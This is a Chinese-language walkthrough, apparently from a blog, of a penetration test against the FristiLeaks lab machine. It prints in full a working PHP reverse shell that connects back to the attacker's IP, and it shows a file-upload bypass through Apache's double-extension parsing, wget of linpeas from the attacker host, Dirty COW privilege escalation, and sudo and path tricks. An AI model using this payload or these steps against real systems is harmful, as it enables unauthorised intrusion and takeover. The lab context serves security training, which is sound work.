FristiLeaks靶机渗透
实验环境
靶机下载地址
注意:该靶机需要使用MAC的特定地址,08:00:27:A5:A6:76
在VMware中设置
kali:10.10.10.128
靶机:10.10.10.143
1. 主机发现
arp-scan 10.10.10.0/24
# 或者
netdiscover -i eth0 -r 10.10.10.0/24
2. 扫描服务
nmap -sS -sV 10.10.10.143
发现该靶机开放了80端口,那就使用whatweb扫描一下WEB指纹。
whatweb 10.10.10.143
发现和nmap扫描出来的信息没有太大差别。
既然只开放80端口,说明突破点在web方向,简单浏览一下,查看一下源代码(除非你是一头猪,否则你不会不查看一下,我就是...)。
经过一段时间的查看发现没有什么可以利用的信息,那就使用御剑、dirb、dirsearch、gobuster等等扫描一下目录文件。
3. 扫描目录文件
dirb http://10.10.10.143/ -w
或者
dirsearch -u https://10.10.10.143
经过目录扫描发现/cgi-bin/、/images/、/robots.txt、index.html
那就分别访问这几个目录,查看查看是否有一些有用的信息。
robots.txt中有三个不允许访问的东西。
那就去访问访问,查看有没有什么有用的信息。
通过访问这三个都是一张老者图,看来老者不简单,可能在图片中隐藏一些有用的信息。那就使用ExifTool、Steghide、Forensically查看查看。发现什么东西也没有!!!
访问/images,看看有没有什么信息!
发现在该目录下有两张图片
其中一张是该网站的首页,另外一张还是老者的照片,经过查看还是没有什么发现。(放弃吧!!!你不适合搞网络安全....)
那就网上看看美女吧!!(哦,不是,查看查看提示),发现是说在首页keep calm and drink fristi有提示!!英语也不会,翻译翻译看看但是这个fristi不知道,说明这有此地无银三百两!!在浏览器中输入看看。
到这里我已经臣服于作者的石榴裙下了!!!如此脑洞大开的思路,在下佩服的五体投地!!!
看到这里,依照以往的渗透思路,肯定是找用户名、密码,既然只开了web服务,那说明突破点一定在该服务上,那就查看查看源代码(一定要查看、查看、查看!!!)
在这里就可以看到用户名,还有一串字符(从图片链接的提示中,可以知道该字符是base64编码)
那就将字段保存下来为test.txt,使用base64解码一下!
base64 -d test.txt
解码出来发现是图片格式,那就解码为图片格式,保存为1.png。
base64 -d test.txt > 1.png
到现在可以大胆猜想:
用户名:eezeepz
密码:keKkeKKeKKeKkEkkEk
那就去登录试试看。
登录成功后,是一个文件上传页面,到现在的渗透思路:上传木马,反弹shell!!!
在这里就考验文件上传漏洞的掌握程度了,由于这里目标系统是centos(上面使用whatweb、nmap得知),所以在这里大小写、点+空格+点、::$DATA都不适用!!!尝试许多方法没有绕过。
到这里已经怀疑自己了!!!肯定上面收集的信息有用,该网站web容器是Apache,那就测试测试是否存在解析漏洞,Apache是从右向左解析文件的。经过测试发现上传xxx.php.jpg、xxx.php.png、xxx.php.gif可以被正常解析成php文件。
使用Hack-Tools插件制作php反弹shell脚本代码!!!
10.10.10.128为kali的ip地址,5555为反弹端口号。
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.10.128'; // You have changed this
$port = 5555; // And this
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string
";
}
}
?>
将源代码保存为1.php,使用burpsuite抓包上传!
注意:如果嫌麻烦,也可以使用kali中的webshell,只要设置php-reverse-shell.php中的ip地址为kali的ip,设置端口。
浏览器访问上传的webshell
在kali使用nc连接
nc -lvnp 5555
通过查看,可以知道该用户权限为低用户权限。
4. 提权
- 先查看SUID,看有没有奇怪的执行文件
find / -perm -4000 2> /dev/null
或者
find / -perm -u=s -type f 2> /dev/null
经过查看,没有SUID提取的执行文件。
2. 上传漏洞检测脚本,检测目标是否有提取的漏洞
上传漏洞检测脚本的方法:
- 使用nc上传
- 使用python
首先查看目标系统上是否可以执行nc命令、python命令
python可以正常执行!!利用python上传漏洞检测脚本。
在kali上执行
python -m http.server 8888
在反弹的shell执行
wget http://10.10.10.128:8888/linpeas.sh
给漏洞检测脚本添加执行权限,然后运行漏洞检测脚本。
chmod +x linpeas.sh
./linpeas.sh
通过漏洞检测脚本发现存在脏牛漏洞,直接根据提示下载的漏洞利用下载漏洞脚本代码或者在https://www.exploit-db.com直接搜索CVE-2016-5195下载利用代码。
然后使用su切换firefart用户,密码为2345
需要一个标准的shell,那就使用python反弹一个标准的shell.
python -c "import pty;pty.spawn('/bin/bash')"
成功提权!!!在/root中找到flag.txt。
5. 根据出题思路进行一步步操作
通过文件上传漏洞反弹shell,获得一个低权限的用户,进入/home目录,发现有三个目录,只有eezeepz目录能进入。
进入eezeepz目录。查看一下,发现有一大堆命令以及一个notes.txt文件,查看notes.txt内容。
根据这里的意思大概猜测出,可以在/tmp目录下创建runthis文件,并且可以在runthis文件中可以执行/usr/bin/*下的命令,那就可以通过相对路径来授权以达到可以目录。
cd /tmp
touch runthis
echo "/usr/bin/../../bin/chmod -R 777 /home/admin" > /tmp/runthis
这样就可以访问/home/admin目录了!查看在此目录下的文件。
可以看到两个txt文件和一个python文件,查看了这两个文件和python文件,可以猜测这两个文件是通过这个python脚本加密的,那就可以写一个对应的解码脚本。
import base64,codecs,sys
def decodeString(str):
decod = codecs.decode(str[::-1],'rot13')
return base64.b64decode(decod)
cryptResult = decodeString(sys.argv[1])
print crytResult
# 或者
import base64,codecs,sys
def decodeString(str):
string = str[::-1]
string = string.encode('rot13')
return base64.b64decode(string)
print decodeString(sys.argv[1])
得到的结果:thisisalsopw123,LetThereBeFristi!
到现在已经用/home下的两个目录,那fristigod应该是另外一个用户!
到这一步发现,该用户还不是管理员权限,那就使用
sudo -l
#查看此用户拥有的特殊权限
sudo -u fristi ./doCom su -
#sudo -u fristi ls #以fristi用户,来执行ls命令
其中thisisalsopw123为admin用户的密码。
注意点:在使用sudo -l列出此用户拥有的特殊权限,不知道这样用,可以先使用history命令查看历史使用情况,获得该用户使用特殊权限的用法。。。
6. 知识点
- 关于Apache的服务器是在Apache1.x,2.x 中Apache 解析文件的规则是从右到左开始判断解析, 如果后缀名为不可识别文件解析, 就再往左判断。
但是后端的centos是从左到右解析文件的。
举个例子:如果一个文件后缀是 1.php.jpg
那么apache从右到左认为他是图片,centos从左到右认为他是一个php。
这里造成了apache特有的解析漏洞。 - 源代码一定要看,一定要看!!!
- 要提升自己的编程能力!!!
- 注意sudo权限,使用sudo -l查看特殊权限
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?